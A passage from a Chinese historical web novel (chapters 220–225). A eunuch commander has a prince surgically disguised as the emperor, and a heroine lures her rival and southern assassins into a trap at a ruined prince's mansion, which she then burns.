说着话,谢无咎摆了摆手,让隐月将隐竹重新带着,跟着他们身后往屋中走去。 屋里的药味更浓了,苦得叶晚竹感到一阵口干舌燥。 谢无咎大步朝前,安王正坐在屏风之后,愁眉苦脸地看着摆在桌上的那一碗药。 这可怕的味道就是从药碗里散发出来的。 “王爷,您赶紧吧。” 不由得也皱起了鼻子,谢无咎说话的时候有些瓮声瓮气的。 “这药凉了就更苦了。” 安王转过头,从眼角到脚指头都写着拒绝。 “你,你事先也没说是这么变啊!” 第二百二十章 看!大变活人! 谢无咎的神情没有多少波动。 “这么变?”他又朝着安王走了两步,“您说的是怎么个变法?是您喝了这碗药之后无痛无痒地睡过去,然后本督让手下在您脸上开几刀,挖几个洞,再塞点东西进去,这样等您醒过来,就彻底变成咱们说好的那位,是这个变法吗?” 安王听这话听得脸都绿了,还没喝药,看上去就已经是一副随时都能吐出来的样子。 “你……我……”他哽了半天,“我还以为是人皮面具什么的呢!” 谢无咎一脸少见多怪,“您老还懂江湖手段呢?” 于是安王眼看着马上就要背过气去了。 直到不久前,安亲王殿下都一直以为他是要带上面具假扮昭德帝,可没想到,九千岁的这几个手下给他送了一碗能苦死人的汤药,然后告诉他,要在他脸上动刀子! 把他这张脸硬生生改成昭德帝的模样! 安王听完这话,感觉疼都在其次了,他好好的一张脸,岂不是变不回来了? 愁眉苦脸地等着谢无咎过来,却只听见这么些不正经的淡话,安王结结巴巴地又说了一通,谢无咎听完,干脆利落地打了个响指。 “这您老就放心吧,等一切结束,再来一碗汤药,我保证给您变回来!” 安王不由得又摸了摸自己的脸。 “当然,您要是不喜欢这张了,想要什么样的就跟小的说,小的保证给您变得妥妥帖帖的。”谢无咎又躬着腰笑眯眯地道。 安王打了个哆嗦,硬是忍住没出声。 他就想要他这张脸,不要变来变去的行不行? “面具终归是假的,贴在脸上,风险太大。” 清了清嗓子,谢无咎总算露出点正形。 “若是您哪天和什么人近距离接触,被看出了端倪——”他拖长了音调,“我等是什么下场还不好说,但王爷您的脑袋,肯定是保不住了。” 假扮皇帝上朝! 这是什么样的疯子才能办出来的事儿! 可等到安王上朝的时候,真正的昭德帝定是不在了,真到了那个时候,安王就算全身上下都长嘴,那也说不清楚! 哆哆嗦嗦地厘清了头绪,安王一咬牙一闭眼,抄起桌上的药碗便仰脖一饮而尽! “呕——” 苦药入喉,安王不能控制地发出一声干呕。 没想到声音还没落地,他便身子一晃,毫无征兆地仰身要倒下去! 一直守在一旁的忠义公公见状连忙要冲上前来,谢无咎却抢先一步将安王的脑袋托住了。 “过来吧。” 把安王平放在床上,谢无咎头也不回地轻唤一声。 隐月带着隐竹走上前去,左手将他一把推到床边,右手解下了一直背在身上的一个巨大的箱子。 他将这箱子放在床脚打开,里面放满了个各式各样奇怪的工具。 叶晚竹站在一旁挨个看过去,并没有太多是自己认识的。 这个时候,隐竹已经伸出了瘦骨嶙峋的手指,在工具上挑选起来。 原来这位还是个易容的高手! “慢着。” 隐竹还没动作几下,手背便忽然被谢无咎按住了。 谢无咎倚靠着床头的柱子,垂下目光,看着隐竹的眼神算不上太好。 “多长时间没用过这门手艺了,你还行吗?”他挑了挑眉。 饶是叶晚竹置身之外,这会儿也忍不住眼角一抽,朝着躺在床上,无知无觉的安王看了过去。 若是这位眼下还醒着,保不齐要被这话吓得立刻毁约。 临门一脚,才开始问行不行? 隐竹的动作有了一瞬的僵硬,又抬起头朝着谢无咎看了过去,眼底闪着莫名的光。 这对曾经的主仆对视了片刻,隐竹微微启唇,“我能。” 谢无咎的笑容来得很慢。 “那你可别再辜负本督这为数不多的信任了。” 隐竹闻言又是一震,谢无咎却已经放开手,朝着躺在床上的安王点了点头。 “开始吧。” —— 隐竹花了足足三个时辰的功夫,把安王彻底变成了昭德帝的模样。 哪怕是叶晚竹从旁围观,亲眼所见,看着最后的结果,她还是不由得面露惊叹。 虽然这会儿安王脸上的伤口还肿胀着,人也还没有恢复清醒,可就这么看上去,已经与昭德帝有了五六分的相似。 就是昭德帝勤于锻炼,身材匀称,安王这圆胖的模样此时便有些说不过去了。 “这个简单。” 听着叶晚竹的疑问,谢无咎又挥了挥手。 “圣上病了几个月,用药太多,身体有些变化也是正常的。” 闻言,叶晚竹的嘴角又跟着抽动了几下。 看谢无咎这对答如流的模样,恐怕从昭德帝提出这个要求的时候,他就已经想好了一切吧。 或许还要更早,说不定,整个计划都是出自他的手笔。 连这样精妙可怕的易容手艺都有掌握,谢无咎到底还有多少不为人知的秘密? 想着,叶晚竹看向这位的眼神中就带上了审视。 “你这是什么意思?” 此时天色已晚,安置好了安王那边,叶晚竹和谢无咎这才刚用过晚饭。 谢无咎敏锐地察觉到了她的注视,扭头的动作却显得不紧不慢的。 “莫不是被本督这张脸迷住了?”屋里没人,他说话的时候也全无顾忌。 叶晚竹闻言笑了一声,并不躲闪,倒是又朝着谢无咎探了探身子。 烛光之下,谢无咎眼底的青黑依旧明显。 “不如我离京之前好看,迷不住。”她眨了眨眼。 被气得也笑出了声,谢无咎拂袖起身,毫不客气地走到叶晚竹面前。 “这里可是本督的府邸,你如此不客气,就不怕本督一怒之下,腾不出房间来安置?” 叶晚竹忍俊不禁,“谢都督可是说好要对我言听计从,予取予求的,这么快就要变卦了?” “男人善变得很,本督当然也不例外。”谢无咎双手一摊,“况且府里有多少人,今天你也瞧见了,眼下想来,除了柴房和本督的院子,好像还真没有多余的地方了。” 叶晚竹一笑:“那我选柴房。” 谢无咎跟着一笑:“柴房好,本督也喜欢柴房。” 第二百二十一章 我们去哪?景平王府! 叶晚竹:…… 等两人走到一间安静的院外,看着匾额上被蒙了一张布,上面大笔一挥的柴房两个字,叶晚竹的眼角不由得又抽了抽。 “我是不是该多谢九千岁赐字?” 谢无咎背着双手站立,表情看上去颇为得意,“不必这么客气。” 终究是忍不住翻了个白眼,叶晚竹上前将那块布扯下抱在怀中,顺便推开了院门。 院中干干净净,屋里还留着灯。 “今天太晚了,明天再让书画她们收拾东西过来吧。”谢无咎的声音又从身后响起。 叶晚竹这会儿已经走进了院中,回头看了看,谢无咎还站在原地,并没有要进来的意思。 “谢都督这么快就反悔了?”她眉梢一挑。 “那倒是不舍得,”谢无咎依旧稳稳地站在原处,“只是……前路未明。” 孟希越的计划虽然失败了,但他和南疆那边的联系却依旧是个巨大的隐患,更别提城外的南疆军至今还没有退兵。 安王和昭德帝这边也是情况不明,想到这些,谢无咎便感到千头万绪齐齐涌上脑海。 更别提,自从开始调查孟希越这条线索,他便一直隐隐有种不好的预感。 这件事,似乎并没有看到的这么简单。 如此情形之下,谢无咎不想因为一时冲动而做出什么事。 叶晚竹看着院门外的男人表情渐渐变得正色起来,嘴角的笑意也跟着淡了淡。 事到如今,大梁要乱起来的前奏已经响起,接下来会发生什么,谁也说不准。 “既然如此,那九千岁可得好好活着才行。” 再度将目光聚焦在谢无咎身上,叶晚竹又提出了这个要求。 只要人活着,就行。 谢无咎闻言微微一怔,片刻后,熟悉的笑容又出现在脸上。 “那本督可得好生努力了。” 没再多说什么,他转身离开,叶晚竹盯着谢无咎的背影看了片刻,这才掩上门板,回到屋中坐了下来。 能统领东厂这么大的一个摊子,还能替昭德帝力挽狂澜,谢无咎定然不是那只会好勇斗狠之人。 他身上的秘密恐怕也是一点不少。 那九千岁的名号,便是首当其冲。 “隐风?隐川?”叶晚竹忽然抬起头轻唤了两声。 不知道这两人还在不在? 好在她话音刚刚落下,两个熟悉的黑影便出现在叶晚竹面前。 “主子。” 隐风隐川这会儿也还是一副风尘仆仆的模样,从南疆一路赶回京城,直到现在都没人有片刻休息的机会。 也是因此,听到叶晚竹的问话,两人难得愣了愣,都以为自己的耳朵是不是出了什么问题。 九千岁的过去? 叶晚竹的眼中带着好奇。 她真的很想知道,谢无咎都经历过什么。 “这……主子……” 迎上她期待的眼神,隐风和隐川却又齐齐面露难色。 “不能说?”叶晚竹见状挑了挑眉,倒也没有太过意外,“那就算了吧。” 等有了合适的时机,她去问谢无咎本尊似乎更好。 隐川却好像看出了叶晚竹的打算,硬着头皮上前,“主子,您最好不要……” 那些过去是九千岁的逆鳞,如无必要,还是不要被人触碰为好。 闻言,叶晚竹又愣住了,抬头看向隐川,从对方眼中看到了一抹说不出的……恐惧? 再看向另一边,隐风的表情也没好到哪里去。 这两人向来是泰山压顶也能八风不动的,什么样的经历能把他们吓成这样? 那谢无咎……又经历了什么? —— 叶晚竹一时兴起,却不光什么都没问出来,还反添了一堆问题,饶是长途奔袭,又经历了一场宫变,回到京城的第一个晚上,她还是辗转反复,难以入眠。 囫囵睡了一觉再起身,书画和潇湘院的一干下人们也陆陆续续地搬了进来。 叶晚竹站在廊柱下看着熟悉的人影进进出出,越发生出了一种从未离开过潇湘院的感觉。 不知道是凑巧还是谢无咎故意为之,叶晚竹如今落脚的这间院子的格局也和潇湘院是一模一样的。 “小姐,我们今天有什么安排?” 书画从叶晚竹身后探出一个脑袋,眼中满是跃跃欲试的光芒。 谢都督府虽然好,但前段时间京中乱得一塌糊涂,叶晚竹也不在,书画整日不免还是担惊受怕。 如今看着自己小姐回来,书画顿时又猛地振作了精神。 “小花呢?”叶晚竹看着应该属于她的那间屋子,虽然东西已经都安置妥当了,但她人却并不在屋中。 说到这个,书画又眨了眨眼。 “谢都督给小小姐请了个先生,每天早上都要读书去的!” “小姐,奴婢从前真没看出来,都督是这样细心的人!” 一边说着话,书画一边朝着叶晚竹嘿嘿笑了两声。 叶晚竹反手在她鼻尖上捏了一下。 “既然如此,那就不要打扰她了,你去收拾一下,咱们等会儿出发。” 闻言书画的双眼变得更亮了,“小姐,咱们要去哪儿啊?” 她终于又可以和小姐一起去办事了! 叶晚竹笑了笑。 “景平王府。” 她昨夜的思绪万千,倒也不全是谢无咎,叶晚竹又想了想,还是打算去找找阮莹莹的行踪。 毕竟,敌暗我明的局势之下,做什么都要格外留心,这种感觉让叶晚竹有些不爽。 真要算起来,阮莹莹对她的仇恨也不算少,尤其是在萧子景也失败之后,失去了一切,阮莹莹的心绪只怕会变得更加疯狂。 京中的流言传得很快,想来这个时候,阮莹莹应该已经知道自己安全回到京城,还被封成了异姓王。 萧子景这一死,大梁唯一异姓王的名号也落到她的头上了。 阮莹莹焉能不恼? 叶晚竹要放出自己的消息做诱饵,至于能不能钓到阮莹莹这条鱼,那就要交给命运了。 他们的时间不多,叶晚竹希望阮莹莹千万不要让自己失望。 半个时辰之后,叶晚竹带着自己惯用的仆从,登上标记着谢都督府的马车,大张旗鼓地朝着景平王府的方向而去! 她回来了! 第二百二十二章 设计 如今的景平王府放眼望去,已经看不出多少高门大户的感觉了。 大门上的红漆变得斑驳,地上的石砖也破破烂烂,杂草从缝隙里长出,凌乱地伸向每一处。 前院空无一人,不见有任何下人的踪迹。 “你说什么,王妃回来了?” “呸呸呸,是威远王!马车已经到门口了!” 叶晚竹下了马车,在紧闭的王府大门外足足敲了四五回都没等到有人来开门,最后还是隐风翻墙进院才将门打开。 她又沿着同样无人打理的长廊,一路走过空荡荡没有半点人气的前院,直到碰见一个有些眼熟的嬷嬷,才给她指明了方向。 叶晚竹抵达萧子景曾经的院落默言阁的时候,便听见阵阵议论声从里面传了出来。 几个姨娘们叽叽喳喳的声音,叶晚竹还算是熟悉。 “准确地来说,我已经到院子门口了。”她清了清嗓子,抬头朝着里面看了过去。 往日摆着刀枪棍棒,被布置得好像演武场的院子,眼下也已经彻底大变样了,地砖全部被挖开不见,取而代之的是一块块分割成正方形的田地。 正是秋日,十几块地里种满了当季的秧苗,绿油油的颇有生机。 亲眼看到这块王府版菜地,叶晚竹不由得起了兴趣,又朝着那边走了两步。 “王妃——不是,威远王,您,您怎么来了?” 站在田地旁的女子身材娇小,头上带着一顶兜帽,长长的纱幔却已经不见了踪影。 “就叫殿下吧,”叶晚竹随口应了一声,又细细打量着对方的脸,“苏姨娘?” “正是妾身!” 或许是没想到还能被叶晚竹认出来,苏姨娘先是一愣,随后便笑得十分灿烂。 叶晚竹的目光在她被晒出红痕的脖子和手臂上一扫而过。 看来这几个月,她们的日子着实辛苦得很。 不过,能自给自足,这些曾经的姨娘们看起来十分心满意足,脸上都没了曾经的心思算计,和愁眉不展,看她们三三两两站在一起的模样,显然彼此之间的关系也变得和谐了起来。 既然如此,那她就放心得多了。 转了转眼珠子,叶晚竹朝几位都招了招手。 “我今天回来,是来取回之前没来得及拿走的宝贝的。” 一行人都进到屋中,这里也是家徒四壁,叶晚竹朝四周看了看,便直截了当地开了口。 闻言,几个女子不由得面面相觑着,眼中都是难以置信。 要知道,自打景平王爷离开之后,王府完全失去了经济来源,她们可是恨不得把这座宅子掘地三尺,好找出任何一样能支撑生活的东西。 就连府里的家具和一些旧衣裳也全都被她们变卖了,却从来没发现过叶晚竹说的什么宝贝啊。 难道,难道是她们不够识货,不小心被人给骗了? 有人脸上开始出现了心痛肉疼的表情。 “殿下有什么话就说吧,莫要再吓我们了。” 这回开口的是瑶芳姑娘,她朝着叶晚竹露出一个无可奈何的笑容。 其他姨娘们或许有不认识的东西,瑶芳却没有,因为她从前的身份,手中还握有一些与贵人的往来,变卖景平王府财物的这件事情基本都是她一手操持的。 那里面绝对没有能称之为宝物的东西。 叶晚竹的眼中也染上了笑意。 “我需要让景平王府里有我没来得及拿走的宝贝。” 景平王府穷成这样,就算是萧子景也带不走多少银子,他的银子能从孟希越那里来,却不好大手大脚地给阮莹莹花用。 再加上,叶晚竹离开京城之前,萧子景和阮莹莹之间的关系便已经十分紧张,几个月过去,高压之下,想来两人也没有什么修复感情的机会和必要。 叶晚竹并不觉得阮莹莹出逃之后手中还能有多少银子。 这个时候,听说王府里还有一笔曾经的财宝,阮莹莹会不会动心? 叶晚竹将自己随身带着的荷包打开,取出一叠厚厚的银票来。 “萧子景已经死了,我会帮你们恢复身份,放你们自由,但在这之前,你们还得帮我最后一个忙。” 几人又互相看了看,点头的动作几乎没有半分迟疑。 干! 当然干! —— 景平王府虽然已经彻彻底底的破败了,但偌大的一座宅子毕竟是挪不走的,前后左右还有人家居住,时不时有嬷嬷和丫鬟来和瑶芳姑娘等人买菜易物。 王府是自家种菜,价格便宜还离得近,七八位姑娘们又好说话,生意做的还算安稳。 只是今天却有些不一样了。 景平王府背靠着的是定西将军莫将军的府邸,莫将军是当年领兵平定西北的大将,立下汗马功劳,如今年事已高,早就已经安心在京中颐养天年了。 只要不改朝换代,外面的纷纷扰扰对莫将军来说几乎不存在,府中下人也跟着优哉游哉。 负责采买的嬷嬷挎着篮子熟练地敲响了景平王府的后门,等着给莫老将军买点最新鲜的蔬果。 可她一连敲了三回门,往日里最是热情的王府姑娘们,这会儿却没有一个人来开门。 这是怎么了? 嬷嬷不由得疑惑起来,眉头紧皱,一边又再次用力—— 她的力气用得大了点,后门被砰地一声敲开了! 这门竟然没锁? 嬷嬷自己也被吓了一跳,捂着胸口不住地喘着气,片刻后,听着里面隐隐传来的说话声,却又探头探脑地往里瞅了起来。 连门都没锁,里面的声音听着也不怎么友好,不会是出什么事了吧? 怎么说也是邻居,王府里如今又没有下人,只有一群姑娘,嬷嬷壮着胆子走进院中,踮着脚,做好了随时应对的准备。 万一要是有贼,那她就喊! 反正现在的京城好像是太平了吧? 嬷嬷提心吊胆地循着声音往前走,钻进她耳朵里的声音却让她越发疑惑起来。 “殿下,我们真的不知道您说的宝物是什么啊!” “是啊,我们从来没有见过!” “胡说八道!我的宝贝就藏在这潇湘院里,今天找不到,我就砍了你们所有人的脑袋!” 第二百二十三章 妹妹,好久不见 这帮倒霉的姑娘们果然还是疯了。 这是嬷嬷听见这些对话的第一反应。 宝贝? 景平王府里都这样了,还能有什么宝贝? 这里面还冒出殿下来了,演戏还有分工呢? 对话还在继续,嬷嬷忍不住摇着头,一边继续往院子里走,一边忍不住又听了起来。 “殿下您别生气,妾身们这就去找!” “对对对,掘地三尺也要把您的宝物找到!” 女子们紧张兮兮的声音继续传来,还伴随着脚步声,嬷嬷这个时候也走到了默言阁附近。 王府地大人少,为了安全起见,这些姑娘们都搬到了默言阁居住,其他院落早就荒废了。 可这会儿,以瑶芳姑娘带头,七八个姑娘都束手束脚地朝着另一个方向而去。 在她们身后,还真的另有一行人跟着,看穿着打扮,显然不是单纯地来买菜的。 真有殿下? 那……也真有宝物? 思索间,嬷嬷有些忘记了自己的初衷,也忘记了自己方才的打算,定定地站在路中间发愣。 “嬷嬷?” 就这么骤然碰了个正着,姑娘们顿时都愣住了。 “嬷嬷是来买菜的?”杨姨娘试探着问道。 点头还是摇头? 嬷嬷怎么想都感觉不太对劲。 “买菜?” 叶晚竹这时候从后面走了上来。 商量好要演一场戏,叶晚竹便让隐川隐风朝外造了势,眼瞅着差不多便登台开场。 今天景平王府的几座门都是虚掩着的,正是为了等阮莹莹主动上钩。 没想到,却钓上了这么一位嬷嬷? 叶晚竹的表情不由得变了变。 是误会,还是伪装而来? 想到后者,她眼底的光顿时变冷了几分。 莫嬷嬷这时候也认出了眼前的人是谁,不由得打起了哆嗦来。 曾经的景平王妃,现在的威远王! 饶是定西将军府再不理世事,宫中传下来的旨意也还是要知道的,再说,昭德帝破格封了一位没有功勋的女子为王,就更是值得人注意几分了。 所以是真的有殿下啊! 莫嬷嬷哆哆嗦嗦地给叶晚竹行了一礼,又在她寒冰一般的目光注视下,颠三倒四地说起了自己的心路历程。 瑶芳姑娘等几人也在一旁帮着说了几句话,见莫嬷嬷真是来买菜的老主顾,叶晚竹终于放下心来。 “嬷嬷要买什么菜,你们去吧。”她朝着瑶芳姑娘点点头,示意她赶紧。 瑶芳姑娘也连忙带着莫嬷嬷离开,后者直到拿着菜走在通往王府后门的路上,也还是一副没有回神的表情。 宝贝都丢了,威远王殿下还有心思让姑娘们卖菜呐—— “你,你是什么人?” 眼前忽然一晃,莫嬷嬷看着无声无息出现在自己面前的黑影,一句话下意识地脱口而出,脖颈便是一凉! 鲜血噗呲一声炸开,莫嬷嬷瞪大双眼,没再发出任何声音,便仰面朝天倒了下去! “主子小心!” 几乎是与此同时,隐风隐川从暗处齐齐跃出,赶在从四面八方忽然出现的黑衣人之前,将叶晚竹一行人护在当中。 这件事做起来并不容易,七八个姨娘缩成一团,紧张地朝着四周看去。 不是说勾引阮姨娘上钩吗? 这么多黑衣人是怎么回事? 叶晚竹左右看看,这会儿出现在眼前的黑衣人少说也有三十个! 是孟希越手下残存的势力? 可他们不去东厂救主子,来景平王府做什么? “来者何人?”隐风这时候沉声问道。 他和隐川对视一眼,表情都不算太好。 两人都能从这些黑衣人身上嗅到某些极为危险的信号。 果然,下一刻,黑衣人们不曾有半分要开口回答的意思,齐刷刷地朝着叶晚竹等人扑了过来! 弯刀在手,这帮黑衣人一动起来,倒是让叶晚竹认出了他们的招数。 这些都是南疆人! 是先前那五万人没有被清扫干净,还是外面的南疆军混进城里来了? 顾不上再多想,叶晚竹抄起金杖便迎了上去! “跑!”她只来得及跟瑶芳姑娘几人说了一个字。 姑娘们拔腿就跑,而那些黑衣人果然也没有要追上去的意思,全力以赴都朝着叶晚竹扑了过来。 冷笑一声,叶晚竹一杖子挑开冲到自己面前的第一个黑衣人,反手又是一棍,狠狠敲在他后背上! 那黑衣人吃痛闷哼了一声,顿时咚地摔倒在地。 被打得头晕眼花,这黑衣人回过神来,却发现事情好像有点不对劲了。 打斗声越来越大,院子里的人,也越来越多了! 看着从四面墙外不断出现的死士,个个出手狠辣,这黑衣人又多愣了一瞬,便忙不迭地要起身逃跑。 下一刻,脚边被什么东西一绊,他顿时失去了平衡,又一头栽倒在地! “我好歹也谋划了三五天呢,就这么被你们瓮中捉鳖,是不是有点太看得起自己了?” 叶晚竹熟练地转动金杖,勾着那黑衣人的脖子,强迫他翻过身来和自己四目相对。 “为什么袭击我?”她的语气堪称友好,“谁是你们的主子?” 黑衣人哆嗦着盯了叶晚竹片刻,忽然脑袋一歪,嘴角溢出一丝黑色的血,咬破毒囊自尽了。 又是这招。 松开对他的桎梏,叶晚竹转过身去,这会儿功夫,谢逸等人已经将院中的情况差不多控制住了。 这些黑衣人们显然也是死士,被俘虏后便都争先恐后地服毒自尽,很快,院子里便满是尸体。 “就是南疆人!” 谢逸挨个将他们面上的蒙面巾挑开,语气沉沉。 清扫京城的任务是他带队负责的,将京中的每一个角落都仔仔细细地搜查了一遍,这些死士都藏在什么地方? 皱着眉头,谢逸蹲下身子,开始格外认真地检查这些黑衣人们的鞋袜和裤腿。 藏匿数日和偷偷混进城中的状态定然不同,他得知道问题究竟是出在什么地方。 叶晚竹沉默着看了一会儿,就在这时,几道脚步声从王府前院的方向传了过来。 下意识地抬起头,看着被谢尔抓在手里的人,叶晚竹眨了眨眼。 “妹妹?好久不见。” 这叫什么,歪打正着? 第二百二十四章 你从哪儿逃出来的? 阮莹莹被谢尔拎在手中,望着叶晚竹,全身都在发抖。 “殿下,”谢尔手上又用了点力气,把阮莹莹拎得更高,“这位在王府外面探头探脑,一看就是居心不良。” “冤枉啊!” 他话音刚落,阮莹莹的哭诉声立刻就响了起来。 “我什么都没干,只是想找个能住下的地方落脚!姐姐,你一定要相信我啊!” 双眼哀哀地似看着叶晚竹,阮莹莹的语气煞是真诚。 “哦?” 叶晚竹闻言挑了挑眉,“怎么,妹妹已经无家可归了?” 阮莹莹双眼一红,大滴大滴的泪水顿时便涌了出来。 “姐姐,我们都被骗了!被安王世子骗得好惨!” 她哭得声嘶力竭,连身子都跟着一抽一抽的,看上去颇为可怜。 叶晚竹没做声,任由阮莹莹一迭声地把话说了起来。 “当初姐姐你忽然离开,王爷又受了重伤,安王世子就是在那个时候趁虚而入,说服王爷跟他一起作乱的。” “安王世子挑唆王爷在前面出头办事,把景平王府推到风口浪尖,自己却一直躲在王爷背后操控一切!” “后来他策划炸了东厂,把责任全都推到王爷身上,我想退出却已经晚了,只能跟着他们走,看着他们越来越丧心病狂!” “我劝了王爷很多次,但是劝不动,听说他们要袭击皇宫,我本想悄悄离开,给九千岁通风报信,结果,结果却被安王世子发现了!” “他们把我关起来折磨,可就在昨天,那些人忽然全都消失了,我挣开绳子,好不容易才逃了出来,无处可去,只有,只有景平王府还算是个能落脚的地方!” “阿竹,我真的什么都不知道,我只想活下去,求求你,你就当今天没有看见过我,好不好?我保证就在这儿呆着,什么都不做,绝对不会再影响你了!” 哀哀地看着叶晚竹,阮莹莹眉头紧皱,眼泪也不住地顺着脸颊流向下巴,看上去煞是可怜。 “求求你了阿竹!”她哽咽着。 叶晚竹静静地盯着阮莹莹看了片刻,抬手朝谢尔一挥。 谢尔立刻放了手,阮莹莹扑通一声落到地上,结结实实地摔了个大马趴。 她保持着落地的姿势愣在当场,足足大半天都没能回过神来。 见状,叶晚竹上前两步,在阮莹莹面前蹲了下来,轻轻地摸了摸她的头发。 “还不走?”她轻声问道。 阮莹莹抬起头,眼底带着难以置信的茫然。 “你不是要求我给你一条活路吗?我给了,你现在就可以走了。” 收回手又点了点头,叶晚竹的神情非常认真。 “走吧,我要办正事,没时间跟你浪费了。” 说着话,她又抬头看了一眼,隐风隐川等人也十分知趣地退后两步,给阮莹莹让出了一条道来。 “阿,阿竹……” 用力撑起身子,阮莹莹结结巴巴地看着叶晚竹,似乎又不知道该说什么才好了。 “去吧。” 最后又点了点头,叶晚竹站起身来,收回目光,似乎当真再也没有在阮莹莹身上做什么的兴趣。 见状阮莹莹只能费力地站起身,一步三晃地朝着王府大门的方向走了几步,终于还是忍不住又转过身来。 “阿竹,你,你不想问我一些别的事情吗?” “什么事情?”叶晚竹也抬起目光,“比如……你是从什么地方逃出来的?” 听着这话,阮莹莹的表情有一瞬间变得非常奇怪,好像在极力隐忍着,不要让自己的情绪泄露出来。 “妹妹想让我问这个,是想正大光明地带着我到你们的老巢去,好一网打尽吗?” 叶晚竹还在笑着,但口中说出来的话却让阮莹莹一瞬间脸色大变! “你,我……”她惊慌地咽着口水,“我听不懂你在说什么,什么老巢!” “当然是这些黑衣人的老巢咯、” 抬手朝着已经死得一个不剩的黑衣人们一指,叶晚竹挑了挑眉,神情终于变得锐利起来。 “妹妹,若是以你的本事,能从被绑缚的状态下解开绳索,再自行从对方的大本营里逃出……除非是在做梦。” 叶晚竹摊了摊手。 若阮莹莹的话一切属实,那也就是说,最后扣押她的是孟希越的势力。 孟希越一直被谢无咎和东厂严密地监视着,他本人被俘之后,手下的势力便立刻遭到了清洗,这会儿几乎已经一个不剩。 以谢无咎手下的本事,若是阮莹莹在这帮人的据点之中,不可能不被发现。 不是孟希越的亲手下,那就只能是和他合作的南疆人了。 这样一来,阮莹莹的话便显得奇怪了起来。 王府院子里刚刚还站满了来找麻烦的南疆黑衣人呢,她一个不会武功,手无缚鸡之力的女子,是怎么全须全尾地把自己从这些人手中解救出来的呢? 换个思路,倒是阮莹莹和这些黑衣人相互勾结来得更合理一些。 叶晚竹只是顺着阮莹莹的话试探了一下,这便立刻露出了破绽。 她又笑了笑,这回的笑容就没有那么友好了,“妹妹还打算再狡辩些什么东西出来?” 阮莹莹白了脸,下意识地转头就要朝着外面跑去。 谢尔伸长了手臂一捞,阮莹莹便立刻晕头转向地摔倒在地。 “老实点!”他一脚踩在阮莹莹背上,鼻子不是鼻子,眼睛不是眼睛地看着她。 旁的不说,这帮黑衣人少说也在外面埋伏了两炷香的时间了,要是连这么一个没有半点功夫的女子都发现不了,那干脆还是别干这一行为好! 还有这女子,当着他们的面儿就敢撒下这样的大谎,真是好大的胆子! 被谢尔这一脚踩下,阮莹莹扑哧一声吐出一大口血来。 叶晚竹弯下腰,一把捏住了阮莹莹的下巴,慢条斯理地替她把嘴角的血迹擦了擦。 “现在我想问了,你是从什么地方‘逃’出来的?” 在逃字上微妙地加重了语气,又看着阮莹莹的脸色变得难看了几分,叶晚竹再度缓缓开口。 “还有,帮你的人是谁?从南疆来的吗?” 第二百二十五章 得手了?家炸了! 阮莹莹的身子哆嗦得更加厉害了。 “是不想说,还是不能说?” 看着她这副战战兢兢的样子,叶晚竹眼中闪过一丝暗芒,开口时语气中的深意又重了几分。 阮莹莹又咽了咽口水,表情依旧是抗拒的。 思忖片刻,叶晚竹又微微俯下了身子。 “那就说点你本来要说的话吧,妹妹,你是从什么地方逃出来的?” 京城的安王府中,石将军正在前厅里焦躁不安地来回转着圈圈。 事情的发展已经完全超出了他的想象,也完全走到了他不能控制的范围之中。 这到底是怎么回事? “将军,我们实在是靠近不了东厂,那边全都是谢无咎的手下!” 一个小兵模样的人这时候踉踉跄跄地一头栽了进来,强撑着和石将军说了一句话,便猛地倒在地上,吐出一口鲜血就再也没起来。 石将军沉着脸,弯下腰去探了探他的呼吸,而后分外恼怒地直起腰,一脚踢上了一旁的椅子! “废物!赶快弄出去处理了!”他怒气冲冲道。 战战兢兢的士兵们连忙进屋处理这具同伴的尸体,石将军看着他们忙成一团,心中的烦躁有增无减,索性越过几人快步走向院中。 “景平王府那边,怎么还没有动静?”他伸长了脖子眺望着,又转头看向自己的副将,“有信号吗?” 副将摇了摇头。 “这群也是废物!”于是石将军又一次破口大骂了起来。 “将军。” 他的副将脸色沉郁,语气也不好,“派去景平王府的人已经走了一个时辰,早该到了,京城就这么大,到现在却还是没有一点儿动静,会不会是出了什么岔子?” 只是引蛇出洞,用不了这么长的时间吧? “这还用你说?” 副将话音刚落便挨了石将军劈头盖脸的几巴掌,显然这话是正正好好地戳中了他的痛处。 石将军气喘吁吁地瞪着他。 他能不知道是出了岔子吗? 可他还能怎么办? 那东厂九千岁的手下跟妖怪没什么两样,每次都先他们的转移一步下手抓人,事到如今,还跟在石将军身边的兵士,眼看着就没几个了。 刚才还又死了一个! 想到这儿,石将军又心疼得连连吸起了凉气。 “再等等吧!”他一摆手,“我也没办法了!” 被打得脸皮发烫,副将见状也不敢再多说什么,捂着脸又转头看向景平王府的方向,眼中的不安愈演愈烈。 要他说,那个大梁的女子就不靠谱! 眼珠子一转一转的,一看就不老实! 将军就不该让她去带队! 正不住地马后炮着,副将过了一阵子才发现自己看见了什么。 “烟!将军,王府方向有烟!” 顾不上石将军刚刚还火冒三丈着,副将猛地跳起来,一巴掌就拍上了他的后背! 石将军差点儿被这一巴掌拍得摔个大跟头,刚要发火,听见这副将的话,顿时一激灵也朝着那边看了过去。 真的有烟! 丝丝缕缕的黑烟从景平王府的方向升起,飘散在半空中,又逐渐变得越发猛烈起来。 “得,得手了?” 最近这段时间遭遇的失败太多,石将军这会儿已经有些反应不过来,呆愣愣地盯着那黑烟的方向看了半天,直到后者升级成滚滚浓烟,熊熊大火,这才一拍大腿,猛地跳了起来。 “得手了!抄家伙走!” —— “失火啦!” 景平王府附近这会儿已经乱成了一锅粥,前后左右的人家都被这凶猛的火势惊动,忙不迭地收拾了细软准备逃跑。 一阵混乱之中,叶晚竹手执火把,迎风而立,毫不留情地又将手里的这个火把丢进了王府高大的院墙之中! 火舌席卷,噼啪作响,瑶芳姑娘等人已经收拾东西离开,一片火海之中,叶晚竹仿佛能听到阮莹莹凄厉的哭嚎声。 只是可惜了默言阁里刚种下不不久的那些菜苗,她忍不住想道。 “主子,安王府动了。” 隐风不知道从什么地方忽然现了身,压低声音朝叶晚竹禀报着。 大刑之下,阮莹莹终是没能扛住,把自己知道的一切都交代了出来。 阮莹莹有一句话没说错,她确实是被孟希越骗了。 孟希越当初说,让阮莹莹替他办一件事,没想到便是把她打晕了送到南疆人的手里。 按照阮莹莹的说法,那些南疆人原本要带着她离开京城回南疆去,却被意外围困在京中,无可奈何之下听到了叶晚竹放到京中的消息,这才决定来冒险一试。 这回叶晚竹还真是彻头彻尾地歪打正着。、 “放信号,让那边也放火!” 冷笑一声,叶晚竹再度点燃一个火把,丢进了已经烧得房倒屋塌的景平王府之中。 孟希越轰炸东厂的事迹她已经听说了,这等恶人,自然要以其人之道,还治其人之身。 景平王府要烧,安王府又怎么能放过? 也好让城外的南疆军队看看,孟希越这个主子,已经没有半点能护住他们的本事了。 